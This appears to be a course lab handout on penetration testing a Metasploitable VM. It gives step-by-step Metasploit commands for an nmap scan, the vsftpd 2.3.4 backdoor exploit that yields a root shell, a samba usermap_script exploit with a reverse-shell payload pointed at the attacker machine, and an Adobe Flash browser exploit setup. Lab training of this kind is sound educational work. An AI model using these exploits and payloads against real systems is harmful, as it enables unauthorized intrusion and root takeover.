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IDENTIFICATION: Pentest on Metasploitable/MICL 

 

Prolog 

You have successfully finalized the IT-Security course. You will like to investigate more!. 

You have installed Metasploitable. 

 

The Mission 

You are to get an understanding of different types of hacking. 

 

Purpose 

You shal utilize exploits in Metasploitable on a NATNetwork. 

The purpose is to run nmap and also open a backdoor in Metaploitable so see real life hacking. 

 

 

Useful links 

 

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ 

https://www.offensive-security.com/metasploit-unleashed/ 

 

https://www.exploit-db.com/ 

https://www.exploit-db.com/docs/english/44040-the-easiest-metasploit-guide-you%E2%80%99ll-

ever-read.pdf (the last 40 pages only!) 

 

https://www.rapid7.com/db/modules/exploit/windows/browser/adobe_flash_avm2 

 

 

Assignment 1: Startup 

As you have the VM on a NATNetwork the addresses of the VMs are probably something like 

10.0.2.15 and 10.0.2.4/5.  

The Metasploitable VM is most likely on 10.0.2.15 and the Kali VM most likely on 10.0.2.4 or 

10.02.5. Remember to check it out ery time you start to run if you have powered machine off. 

 

You start again by using msfconsole 

 

msfconsole 

 

The following search command will give you a long list of exploits/options 

 

msf5 > search type:exploit platform:windows flash  

 

Now you can either type the exploit name after the use command or you can simply highlight the 

exploit name from the list you got in the terminal and  copy the exploit and paste it after the use 

keyword. 

 

msf5 >use [type the exploit name OR paste the copied exploit name here] 

 

Remember this for later investigations! 

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://www.offensive-security.com/metasploit-unleashed/
https://www.exploit-db.com/
https://www.exploit-db.com/docs/english/44040-the-easiest-metasploit-guide-you%E2%80%99ll-ever-read.pdf
https://www.exploit-db.com/docs/english/44040-the-easiest-metasploit-guide-you%E2%80%99ll-ever-read.pdf
https://www.rapid7.com/db/modules/exploit/windows/browser/adobe_flash_avm2
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Assignment 2: Using nmap 

Let us use Metasploitable as victim/target (metasploitable is the Metasploitable running as a virtual 

system inside your Virtual Box) 

First of all, you must find the IP address of you Metasploitable machine by either login to the 

machine and running ifconfig, sudo ifconfig, ip a or ip addr.  See previous exercise. 

 

If Metasploit is not running then run it by using msfconsole  

 

msfconsole 

 

Let us use nmap against Metasploitable to find out vulnerabilities.   

 

msf5 > nmap -sV 10.0.2.15 

 

It will show ftp port 21 open with version vsftpd 2.3.4 and we know that this version is vulnerable 

so let us attack the system using vsftpd backdoor attack. 

 

Try search vsftpd to see if you can find an exploit for vsftpd. 

 

msf5 > search vsftpd 

 

 
 

As seen on the picture it finds one vulnerability in this case. Let us use it.  

 

msf5 > use exploit/unix/ftp/vsftpd_234_backdoor 

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options 

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.0.2.15  

(10.0.2.15 is the target/victim machine - RHOST stands for Remote Host) 

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options // to see that the RHOST is set 

 

On the picture you can see the “correct” options. 
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msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit //if it works then you will get a reverse shell. 

 

When you get a reverse shell you see the following lines and you can write commands. 

 

 
 

After this you can write: 

 

uname -a 

 

If it gives you: Linux metasploitable 2.6.bla.bla-server bla bla then you are on the server 
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You have successfully hacked yourself into the server. Now you can do whatever you want on this 

server. Let us use “ls” to see a list of the files on this server. 

 

ls //will list the following files on the server 

 

 
 
 

Also find out who you are: 

 

 whoami 

 

And it turn out you are  

 

 root 

 

Now you can do anyting on the target amchine. Not bad!  
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Using a payload 

When a service does not have a backdoor then we can use one of the payloads available in 

Metasploit e.g samba does not have a backdoor therefore we will use a payload 

 

msf5 > use exploit/multi/samba/usermap_script 

 

msf5 > show options 

msf5 > set RHOST 10.0.2.15 // Target/Victim machines IP 

msf5 > show payloads // Show the list of possible payloads for this exploit 

 

 
 

msf5 > set payload cmd/unix/reverse 

msf5 > show options 

msf5 > set LHOST 10.0.2.5 //kali linux IP (the attackers machine) 

msf5 > show options //  
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msf5 > exploit 

msf5 > uname -a 

msf5 > whoami 

msf5 > ls 
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Appendix 1 

If there are any problems with the bundler when trying to start msfconsole like on the picture below, 

follow this appendix to fix it. 
 

 
 

Start by updating gem: 
 

 
 

Install bundler like so: 
 

 
 
Cd into the metasploit framwork directory like so :  

 
 
Now you should be able to install the bundle like so 

 
 
After this has installed you should be able to run msfconsole in a terminal. 
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Appendix 2 

F. example like before you can use 

 

msf5> use exploit/windows/browser/adobe_flash_avm2 

 

Now use show options to see what options are available for this exploit 

e.g one of the options is the SRVPORT (server port) 

 

msf5 > show options 

msf5 > set SRVPORT 80 //will set the server port option to 80 

msf5 > set SRVHOST 192.168.13.1 

  

NOW if you run show options you will se the new port and server address 

 

msf5 > exploit //will start the actual exploit 


